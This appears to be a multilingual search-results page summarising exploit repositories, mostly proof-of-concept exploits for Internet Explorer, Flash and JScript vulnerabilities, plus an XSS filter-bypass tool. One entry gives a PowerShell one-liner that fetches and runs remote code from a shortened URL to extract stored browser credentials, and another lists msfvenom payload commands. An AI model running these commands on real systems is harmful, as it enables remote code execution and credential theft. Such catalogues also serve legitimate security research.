25352 matches found
snuck
snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...
credgrap_ie_edge
credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...
MS16-051-poc
CVE-2016-0189 Proof-of-Concept exploit for CVE-2016-0189 VBScript Memory Corruption in IE11 Tested on Windows 10 IE 11. Write-up https://www.deamwork.com/archives/patch-analysis-of-cve-2016-0189.orz6 To run 1. Download support/.dll or compile .cpp for yourself and exploit/.html to a directory. 2...
CVE-2017-8625_Bypass_UMCI
что такое ! Windows Defender Device Guard ! Windows Defender Device Guard — это комбинация корпоративных аппаратных и программных функций безопасности, которые при совместной настройке блокируют устройство, позволяя запускать только доверенные приложения, определённые в политиках целостности кода...
CVE-2018-15982
Авторы @Ridter https://github.com/Ridter/CVE-2018-15982EXP @prsecurity https://github.com/prsecurity/CVE-2018-15982 Описание Сценарий Aggressor для запуска driveby-атаки через Internet Explorer с использованием эксплойта CVE-2018-15982 для Flash Player. Затронутые версии продуктов Adobe Flash...
CVE-2019-1221
PoC exploit for CVE-2019-1221 Lost the origin of this PoC Targets Internet Explorer 11 32-bit on Windows 10 x64 upto RS5 Uses "VBScript.Encode" / CVE-2019-0768 so that exploit works up to RS5 Runs calc using WinExec...
cve-2018-8389
jscript.dll - ActiveXObject BSTR - Использование после освобождения Уязвимость Обращение к памяти после её освобождения может привести к сбою программы, использованию неожиданных значений или выполнению кода. Описание уязвимости Удалённое выполнение кода существует в способе обработки объектов в...
CVE-2018-4878
Author and Credits Author: Vincent Yiu @vysecurity Credits: @evi1cg: Helping me test and keep me motivated @smgoreli: Original Calc.exe PoC @kbandla: He knows, and I know. ; Disclaimer Developed to encourage more Aggressor script development. Use only in authorized penetration testing! Descriptio...
CVE-2019-0752
https://www.thezdi.com/blog/2019/5/21/rce-without-native-code-exploitation-of-a-write-what-where-in-internet-explorer PoC exploit for CVE-2019-0752 Targets Internet Explorer 11 32bit on Windows 10 x64 up to RS4, RS5? Uses special address values in adddition to some path magic to avoid using...
CVE-2021-40444_builders
CVE-2021-40444 builders This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit. This repo is just for testing, research and educational purposes. You are responsible for how you use the code provided in this repo. The code is developed by reversing malware...
CVE-2018-15982_EXP_IE
CVE-2018-15982EXP Utilisation msfvenom -p windows/exec cmd=calc.exe -f raw 86.bin msfvenom -p windows/x64/exec cmd=calc.exe -f raw 64.bin python CVE201815982.py -i 86.bin -I 64.bin produit exp.swf et index.html. Démo https://twitter.com/Evi1cg/status/1071284773169950721...
js-driveby-download-CVE-2006-4777
js-driveby-download-CVE-2006-4777 malware côté client exploitant une vulnérabilité d'Internet Explorer 6.0 SP1 sous Windows XP SP2. Ne nécessite pas le consentement de l'utilisateur et ne télécharge aucun fichier. Injection de code shell dans la RAM via JavaScript avec IE sous Windows XP. Malware...
GTranslate < 2.8.65 - Cross-Site Scripting
In the Pro and Enterprise versions of GTranslate 2.8.65, the gtranslaterequesturivar function runs at the top of all pages and echoes out the contents of $SERVER'REQUESTURI'. Although this uses addslashes, and most modern browsers automatically URLencode requests, this plugin is still vulnerable ...
CVE-2020-0674-Exploit
CVE-2020-0674 CVE-2020-0674 — это уязвимость use-after-free в устаревшем движке jscript. Её можно вызвать в Internet Explorer. Эксплойт здесь написан maxpl0it, но сама уязвимость была обнаружена Qihoo 360 при использовании в реальных атаках. Этот эксплойт просто запускает калькулятор calc. Описан...
cve-2016-0189
CVE-2016-0189 Эксплойт Proof-of-Concept для CVE-2016-0189 повреждение памяти VBScript в IE11 Проверено на Windows 10 IE11. Разбор http://theori.io/research/cve-2016-0189 Запуск 1. Скачайте support/.dll или скомпилируйте .cpp самостоятельно и exploit/.html в каталог. 2. Отдайте каталог через...
CVE-2019-1367
0x00 Введение Internet Explorer — это веб-браузер, выпущенный компанией Microsoft. Число его пользователей огромно. 23 сентября Microsoft в экстренном порядке выпустила обновление безопасности, устраняющее уязвимость удалённого выполнения кода в браузере IE. Уязвимость была обнаружена группой...
CVE-2014-4109
This crash is difficult to reproduce. The included proof of concept makes it a little easier to trigger the crashing code path. My super scientific process of checking the crash was to click on the url with one hand and press enter with the other. It usually crashes within 15 attempts. "IE=9" als...
IE11SandboxEscapes
IE11SandboxEscapes Примеры исходного кода для исправленных обходов песочницы IE11. c James Forshaw 2014 Только для ознакомительных целей. Все файлы распространяются под лицензией GPLv3. См. LICENSE для получения дополнительной информации...
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Use-After-Free-
CVE-2025-30397---Windows-Server-2025-JScript-RCE-Использование-после-освобождения Удаленное выполнение кода через использование после освобождения в JScript.dll CVE-2025-30397 🧠 Описание Этот репозиторий содержит эксплойт доказательства концепции PoC для уязвимости типа использования после...